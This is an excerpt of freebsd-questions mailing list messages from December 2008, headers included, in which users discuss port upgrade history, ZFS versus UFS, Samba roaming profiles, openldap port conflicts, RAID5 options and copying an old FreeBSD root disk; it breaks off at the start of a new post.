On Mon, 1 Dec 2008 16:12:49 +0100 Ewald Jenisch wrote: > Hi, > > Is there any way to determine when upgrades to installed ports have > been done on a system? I did a "portupgrade -arR" recently and want to > know which ports have been upgraded in that process (and no I didn't > run that portupgrade under "script"...) pkg_glob(1) can show package installed before or after either a time or a particular port. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 17:25:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DF8AF106564A for ; Mon, 1 Dec 2008 17:25:54 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id 933E98FC19 for ; Mon, 1 Dec 2008 17:25:54 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from mr02.lnh.mail.rcn.net ([207.172.157.22]) by smtp02.lnh.mail.rcn.net with ESMTP; 01 Dec 2008 12:25:54 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr02.lnh.mail.rcn.net (MOS 3.8.6-GA) with ESMTP id PHA82554; Mon, 1 Dec 2008 12:25:53 -0500 (EST) Received: from unknown (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.22.188]) by smtp01.lnh.mail.rcn.net with ESMTP; 01 Dec 2008 12:25:49 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <18740.7708.896663.777313@jerusalem.litteratus.org> Date: Mon, 1 Dec 2008 12:25:48 -0500 To: RW In-Reply-To: <20081201171748.1c9b5718@gumby.homeunix.com> References: <20081201151249.GA5103@aurora.oekb.co.at> <20081201171748.1c9b5718@gumby.homeunix.com> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr02.lnh.mail.rcn.net) Cc: freebsd-questions@freebsd.org Subject: Re: Date/time installed ports have been updated on a system? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 17:25:55 -0000 RW writes: > > Is there any way to determine when upgrades to installed ports have > > been done on a system? I did a "portupgrade -arR" recently and want to > > know which ports have been upgraded in that process (and no I didn't > > run that portupgrade under "script"...) > > pkg_glob(1) can show package installed before or after either a time > or a particular port. One can also send the output to a file, and grep your chosen ports or use "tail -f". I do not recommend doing this with "portupgrade -a" unless you know the list will be fairly short. (Imagine rebuilding OpenOffice, KDE, Java, FireFox, ....) Robert Huff From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 17:49:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4341E106564A for ; Mon, 1 Dec 2008 17:49:59 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id CD5618FC1E for ; Mon, 1 Dec 2008 17:49:56 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1Hnlma010684; Mon, 1 Dec 2008 18:49:47 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1HnkOT010681; Mon, 1 Dec 2008 18:49:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 18:49:46 +0100 (CET) From: Wojciech Puchar To: Kirk Strauser In-Reply-To: <200812010959.15647.kirk@strauser.com> Message-ID: <20081201184722.S10680@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 17:49:59 -0000 > I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, > in general I'm a bit underwhelmed. UFS is excellent. your problem is that you like to have "lots of filesystems". why don't just make one or one per disk? i have one per disk/mirror configuration everywhere except one place where i made separate filesystem for /var/spool/squid for some reasons. tell me what's your needs and how many/what disks you have. UFS is best-performer on real load, runs on almost no RAM, but uses more if available for caching. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 17:50:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B78D51065717 for ; Mon, 1 Dec 2008 17:50:08 +0000 (UTC) (envelope-from ulrich@pukruppa.net) Received: from pukruppa.net (pukruppa.net [213.146.114.24]) by mx1.freebsd.org (Postfix) with ESMTP id 180EF8FC0A for ; Mon, 1 Dec 2008 17:50:07 +0000 (UTC) (envelope-from ulrich@pukruppa.net) Received: from pukruppa.net (localhost [127.0.0.1]) by pukruppa.net (8.14.3/8.14.3) with ESMTP id mB1HrCZI037485 for ; Mon, 1 Dec 2008 18:53:13 +0100 (CET) (envelope-from ulrich@pukruppa.net) Message-ID: <49342488.2090905@pukruppa.net> Date: Mon, 01 Dec 2008 18:53:12 +0100 From: Peter Ulrich Kruppa User-Agent: Thunderbird 2.0.0.18 (X11/20081127) MIME-Version: 1.0 To: FreeBSD-Questions Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Subject: Samba, WinVista and Roaming Profiles X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 17:50:08 -0000 Hello, I hope my question isn't too off-topic for this list, but usually some people come up with good ideas ... We have got a FreeBSD Samba Server (set up as PDC) and about 100 WinXP desktops and laptops. The WinXP machines can log into the network, connect to home directories and shares and download (roaming) profiles. Everything works fine with them. Now we have purchased 2 new WinVista desktops. Login and shares work all right, but they can't download the profiles. They will deliver an error message saying they lack appropriate permissions. Any idea what is happening there? Thanks for your help and greetings, Uli. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:06:39 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4B8931065672 for ; Mon, 1 Dec 2008 18:06:39 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id CF3288FC1B for ; Mon, 1 Dec 2008 18:06:38 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id B83B4AFC1C6; Mon, 1 Dec 2008 09:06:37 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, robert@webtent.com Date: Mon, 1 Dec 2008 19:06:33 +0100 User-Agent: KMail/1.9.7 References: <1228140069.14908.23.camel@columbus.webtent.org> <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> <1228151660.20351.4.camel@columbus.webtent.org> In-Reply-To: <1228151660.20351.4.camel@columbus.webtent.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-6" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011906.35101.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:06:39 -0000 On Monday 01 December 2008 18:14:20 Robert Fitzpatrick wrote: > On Mon, 2008-12-01 at 16:34 +0100, Mel wrote: > > On Monday 01 December 2008 15:48:13 Jerry wrote: > > > >failed packages (-:ignored / *:skipped / !:failed) > > > > ! net/openldap24-client (install error) > > > > * net/nss_ldap > > > > * security/pam_ldap > > > > ^^^^^ portupgrade > > > > > I am assuming that you are attempting to install the port(s) manually. > > > Have you tried using a port management tool like 'portmanager' or > > > 'portupgrade' to handle the task. > > > > It's likely it's caused by portupgrade, but won't be able to tell till > > the output from net/nss_ldap build. > > Thanks for the ideas from everyone. I was doing a portinstall of > nss_ldap and pam_ldap. I went ahead and used the -k option and all in > and working now. I also received the error when installing samba, I'm > sure would for every LDAP dependent port if memory serves. This always > bites me, I have uninstalled/reinstalled ports in the past and fiddled > with things to get it all working, but nowadays I am more > knowledgeable/comfortable using force options with the port utilities. It's not working, it's masking the real error, which is either in portupgrade or /usr/ports/Mk/bsd.ldap.mk. Normally, you get this error, when a port's Makefile specifies it depends on "something", but that "something" isn't installed by the port, which means the "is this dependency installed" check always fails. For me, it works: # ls /var/db/pkg/|grep ldap openldap-sasl-client-2.4.11 openldap-sasl-server-2.4.11_2 # make -C /usr/ports/net/nss_ldap lib-depends ===> nss_ldap-1.257 depends on shared library: ldap-2.4.3 - found -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:08:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E3EF91065673 for ; Mon, 1 Dec 2008 18:08:54 +0000 (UTC) (envelope-from nejc@skoberne.net) Received: from mail.tnode.com (common.tnode.com [91.185.203.243]) by mx1.freebsd.org (Postfix) with ESMTP id 990908FC14 for ; Mon, 1 Dec 2008 18:08:54 +0000 (UTC) (envelope-from nejc@skoberne.net) Received: from localhost (mail.jail [10.1.1.10]) by mail.tnode.com (Postfix) with ESMTP id C32B321FBEAD; Mon, 1 Dec 2008 19:08:52 +0100 (CET) Received: from mail.tnode.com ([10.1.1.10]) by localhost (mail.tnode.com [10.1.1.10]) (amavisd-maia, port 10024) with ESMTP id 87563-02; Mon, 1 Dec 2008 19:08:51 +0100 (CET) Received: from [192.168.123.100] (lk.84.20.249.154.dc.cable.static.lj-kabel.net [84.20.249.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: nejc@skoberne.net) by mail.tnode.com (Postfix) with ESMTPSA id C493621FBE9D; Mon, 1 Dec 2008 19:08:51 +0100 (CET) Message-ID: <49342833.4070904@skoberne.net> Date: Mon, 01 Dec 2008 19:08:51 +0100 From: Nejc Skoberne User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Peter B References: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> In-Reply-To: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Virus-Scanned: Maia Mailguard Cc: freebsd-questions@freebsd.org Subject: Re: RAID5 on FreeBSD 6 or 7 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:08:55 -0000 Hey Peter, > Is it vinum or gvinum (geom8) that is the utility to create a RAID5 volume..? > Things like that gvinum lacks the 'stop' command etc.. makes me think > that it's not production ready or that the source code has not matured enough. actually gvinum is production-ready, it only doesn't implement all the features of vinum. I've been using since 2006 and it works, but it is slow. I just played with it this weekend again, you can check http://nejc.skoberne.net/2008/11/gmirror-and-gvinum-on-the-same-drives/. However, as I said, gvinum is slow. I also run graid5 and some say it is pretty stable. I've been running it for a year on a non-production server and it works for me, but haven't seen it in action, when a drive fails or something. It is fast, though. See it's page on Wikipedia for more info. I'd use it more if it was part of official FreeBSD release, but for now it is only available as a patch (AFAIK). Bye, Nejc From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:09:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4895A106564A for ; Mon, 1 Dec 2008 18:09:26 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 6EE1E8FC08 for ; Mon, 1 Dec 2008 18:09:25 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1I91Uj010771; Mon, 1 Dec 2008 19:09:01 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1I8xKY010768; Mon, 1 Dec 2008 19:08:59 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 19:08:59 +0100 (CET) From: Wojciech Puchar To: Mel In-Reply-To: <200812011309.29942.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201190822.V10767@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> <200812011309.29942.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Polytropon , freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:09:26 -0000 >> Oldie @ 1 GHz? You must be joking. I'd bite my hand off for >> such hardware. :-) > > No need. Get a job at a computer service store, like my fiancee. You will get > orphans donated in the 2-3Ghz range "just as long as my data is transfered to > the new computer". ;) looks like such services on your area are most costly that good computers. funny but possible. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:12:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 268E4106564A for ; Mon, 1 Dec 2008 18:12:47 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id BBA398FC1A for ; Mon, 1 Dec 2008 18:12:45 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1ICcvW010792; Mon, 1 Dec 2008 19:12:38 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1ICb6j010789; Mon, 1 Dec 2008 19:12:37 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 19:12:37 +0100 (CET) From: Wojciech Puchar To: Nejc Skoberne In-Reply-To: <49342833.4070904@skoberne.net> Message-ID: <20081201191042.N10784@wojtek.tensor.gdynia.pl> References: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> <49342833.4070904@skoberne.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Peter B , freebsd-questions@freebsd.org Subject: Re: RAID5 on FreeBSD 6 or 7 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:12:47 -0000 > However, as I said, gvinum is slow. I also run graid5 and some say it is pretty same for me. it works and works fast. but still - small writes WILL be slow as it's RAID5 because of this i don't have much uses for it, as in most cases today drive's capacities are much larger than amount of data that has to be protected. so i use gmirror most often > stable. I've been running it for a year on a non-production server and it works > for me, but haven't seen it in action, when a drive fails or something. It is simply disconnect one drive to test. > fast, though. See it's page on Wikipedia for more info. I'd use it more if it > was part of official FreeBSD release, but for now it is only available as a > patch (AFAIK). which is strange. someone don't like RAID5 to be included in system? From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:23:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C55BB106564A for ; Mon, 1 Dec 2008 18:23:14 +0000 (UTC) (envelope-from admin@azuni.net) Received: from mail.azuni.net (ns0.azuni.net [217.25.25.3]) by mx1.freebsd.org (Postfix) with ESMTP id D6FA38FC1B for ; Mon, 1 Dec 2008 18:23:13 +0000 (UTC) (envelope-from admin@azuni.net) Received: (qmail 43064 invoked by uid 1004); 1 Dec 2008 18:23:10 -0000 Received: from admin@azuni.net by mail.azuni.net by uid 89 with qmail-scanner-1.20 (clamscan: 0.65. spamassassin: 2.63. Clear:RC:1(217.25.27.27):. Processed in 0.388377 secs); 01 Dec 2008 18:23:10 -0000 Received: from unknown (HELO ?217.25.27.27?) (admin@azuni.net@217.25.27.27) by ns0.azuni.net with AES256-SHA encrypted SMTP; 1 Dec 2008 18:23:10 -0000 Message-ID: <49342B89.1050506@azuni.net> Date: Mon, 01 Dec 2008 22:23:05 +0400 From: admin@azuni.net Organization: UniNet User-Agent: Icedove 1.5.0.14eol (X11/20080724) MIME-Version: 1.0 To: Tijl Coosemans References: <49322B49.80005@azuni.net> <200811301216.28523.tijl@ulyssis.org> In-Reply-To: <200811301216.28523.tijl@ulyssis.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 4.8: can't load kernel after doing "cp -R /" to another disk X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:23:14 -0000 Tijl Coosemans wrote: > On Sunday 30 November 2008 06:57:29 admin@azuni.net wrote: >>>> Hello, everyone. This is the problem: our SCSI disk with FreeBSD >>>> 4.8 on it has been failing recently, so I copied its root partition >>>> to a fresh IDE disk with cp -pR and >>> You should use dump and restore to copy the root partition, see: >> I'd done that before trying cp -pR, as outlined by rse@: >> >> dump -L -0 -f- /old | (cd /new && restore -r -v -f-) >> http://people.freebsd.org/~rse/mirror/ >> >> which isn't too different. I think I know what the problem is: I made >> the new single slice and FreeBSD partition on it and ran newfs -U on >> it using the latest FreeBSD 5.x livecd toolkit, and later 4.8 can't >> even mount that partition (mount /dev/ad0s1a /mnt) failing with >> "incorrect superblock", so I think its /boot/loader can't load the >> kernel because of FS issues (but strangely enough pressing "?" at the >> boot loader prompt lists directory entries of the root FS just fine). >> It turns out UFS isn't upwards compatible from releases 4.8 -> 5.5. >> I'll try running newfs -U from 4.8. Last time I checked many 4.8 >> binaries couldn't run due to disk errors, I hope newfs runs ok... > > You need to create a UFS1 file system. Thanks a lot, I had forgotten about different UFS versions being used, and loader's showing the list of files when pressing "?" only poured more oil on the fire. This was really it. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:25:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 501EE1065670 for ; Mon, 1 Dec 2008 18:25:00 +0000 (UTC) (envelope-from lists@webtent.net) Received: from tpa-hosting.webtent.net (tpa-hosting.webtent.net [208.38.145.45]) by mx1.freebsd.org (Postfix) with ESMTP id D1C448FC18 for ; Mon, 1 Dec 2008 18:24:59 +0000 (UTC) (envelope-from lists@webtent.net) Received: from [72.64.244.51] (columbus.webtent.org [72.64.244.51]) by tpa-hosting.webtent.net (8.13.1/8.13.1) with ESMTP id mB1IOvLE012559; Mon, 1 Dec 2008 13:24:57 -0500 From: Robert Fitzpatrick To: Mel In-Reply-To: <200812011906.35101.fbsd.questions@rachie.is-a-geek.net> References: <1228140069.14908.23.camel@columbus.webtent.org> <200812011634.26024.fbsd.questions@rachie.is-a-geek.net> <1228151660.20351.4.camel@columbus.webtent.org> <200812011906.35101.fbsd.questions@rachie.is-a-geek.net> Content-Type: text/plain Organization: WebTent Networking, Inc. Date: Mon, 01 Dec 2008 13:24:56 -0500 Message-Id: <1228155896.20351.15.camel@columbus.webtent.org> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: robert@webtent.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:25:00 -0000 On Mon, 2008-12-01 at 19:06 +0100, Mel wrote: > > Thanks for the ideas from everyone. I was doing a portinstall of > > nss_ldap and pam_ldap. I went ahead and used the -k option and all in > > and working now. I also received the error when installing samba, I'm > > sure would for every LDAP dependent port if memory serves. This always > > bites me, I have uninstalled/reinstalled ports in the past and fiddled > > with things to get it all working, but nowadays I am more > > knowledgeable/comfortable using force options with the port utilities. > > It's not working, it's masking the real error, which is either in portupgrade > or /usr/ports/Mk/bsd.ldap.mk. Ah, looks like I need WANT_OPENLDAP_SASL :/ -- Robert From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:27:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3B9B81065672 for ; Mon, 1 Dec 2008 18:27:54 +0000 (UTC) (envelope-from rvm@CBORD.com) Received: from smssmtp.cbord.com (mx1.cbord.com [24.39.174.11]) by mx1.freebsd.org (Postfix) with ESMTP id E64A28FC0C for ; Mon, 1 Dec 2008 18:27:53 +0000 (UTC) (envelope-from rvm@CBORD.com) X-AuditID: ac1f0165-00000bcc000004b8-fa-49342cb031d3 Received: from Email.cbord.com ([10.1.1.100]) by smssmtp.cbord.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 1 Dec 2008 13:27:59 -0500 X-MIMEOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 1 Dec 2008 13:25:24 -0500 Message-ID: In-Reply-To: <20081121211828.GA9493@kokopelli.hydra> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: FreeBSD and hardware?? Thread-Index: AclMHnXJDpzhre3fTbeIV8VuFJPWLgHwa5qw References: <20081118141648.M84450@wojtek.tensor.gdynia.pl><1110372547-1227199990-cardhu_decombobulator_blackberry.rim.net-585491769-@bxe064.bisx.produk.on.blackberry> <20081121211828.GA9493@kokopelli.hydra> From: "Bob McConnell" To: "Chad Perrin" , X-Brightmail-Tracker: AAAAAA== Cc: Subject: RE: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:27:54 -0000 On Behalf Of Chad Perrin > On Thu, Nov 20, 2008 at 04:53:03PM +0000, > twelcome@mobileemail.vodafonesa.co.za wrote: >> Your assertion that "linux is both low end unix and low end windows >> replacement" is factually wrong: As a high end unix I think it's >> earned it's stripes, currently dominating the top 500 supercomputer >> systems in the world, some no other unix has managed to accomplish >> this time round. Notably, when compared to freebsd it offers support >> for virtualisation where bsd is nowhere close to doing, just one >> example of high end unix feature it provides. As a gui desktop, >> I'm certain kde is a superior interface to windows in many ways. > While I agree that, without some kind of supporting argument, the > statement that Linux systems are "low end" Unix replacements are kind of > spurious sounding, I don't think that market share is really an effective > metric for determination of the quality of a replacement for a given > class of OS. I believe that he forgot to reference this article from ServerWatch. This shows more than a marginal increase in "market share". It suggests that Sun and others have good reason to be nervous about their future prospects, and need to find new ways to make money. On the other hand, both Unix and Linux have a long way to go before they can match Microsoft's ease of use on the GUI. I believe the best way to attack that problem is to find a new paradigm to replace the desktop, which is not a great interface model to begin with. Bob McConnell ---- If a messy desk is the sign of a cluttered mind, what is an empty desk the sign of? From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:40:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1A20E1065672 for ; Mon, 1 Dec 2008 18:40:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 50DB68FC08 for ; Mon, 1 Dec 2008 18:40:00 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1Idgd4010847; Mon, 1 Dec 2008 19:39:42 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1Ide1I010844; Mon, 1 Dec 2008 19:39:41 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 19:39:39 +0100 (CET) From: Wojciech Puchar To: Bob McConnell In-Reply-To: Message-ID: <20081201193722.A10843@wojtek.tensor.gdynia.pl> References: <20081118141648.M84450@wojtek.tensor.gdynia.pl><1110372547-1227199990-cardhu_decombobulator_blackberry.rim.net-585491769-@bxe064.bisx.produk.on.blackberry> <20081121211828.GA9493@kokopelli.hydra> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Chad Perrin , freebsd-questions@freebsd.org Subject: RE: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:40:01 -0000 > This > shows more than a marginal increase in "market share". It suggests that > Sun and others have good reason to be nervous about their future > prospects, > and need to find new ways to make money. there is no sense of buying Sun hardware. they make excellent hardware but with more than "excellent" price, and their unix is damn slow compared to FreeBSD. > > > On the other hand, both Unix and Linux have a long way to go before they > can match Microsoft's ease of use on the GUI. I believe the best way unix is not windows replacements. all of these GUI overlays for which that much noise is heard are not just overlays, but are poorly designed even more poorly than windows. Windows is poorly designed too but at least it's somehow complete. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:57:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E8F001065670 for ; Mon, 1 Dec 2008 18:57:35 +0000 (UTC) (envelope-from kwoody@citytel.net) Received: from pop.citytel.net (pop.citytel.net [209.145.111.50]) by mx1.freebsd.org (Postfix) with ESMTP id CA94C8FC0C for ; Mon, 1 Dec 2008 18:57:35 +0000 (UTC) (envelope-from kwoody@citytel.net) Received: from pop.citytel.net (pop.citytel.net [209.145.111.50]) by pop.citytel.net (Postfix) with ESMTP id 2762A20A2F for ; Mon, 1 Dec 2008 10:32:59 -0800 (PST) Date: Mon, 1 Dec 2008 10:32:59 -0800 (PST) From: Keith To: freebsd-questions@freebsd.org Message-ID: <20081201101311.C81770@pop.citytel.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: Page Fault. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:57:36 -0000 Have a machine, 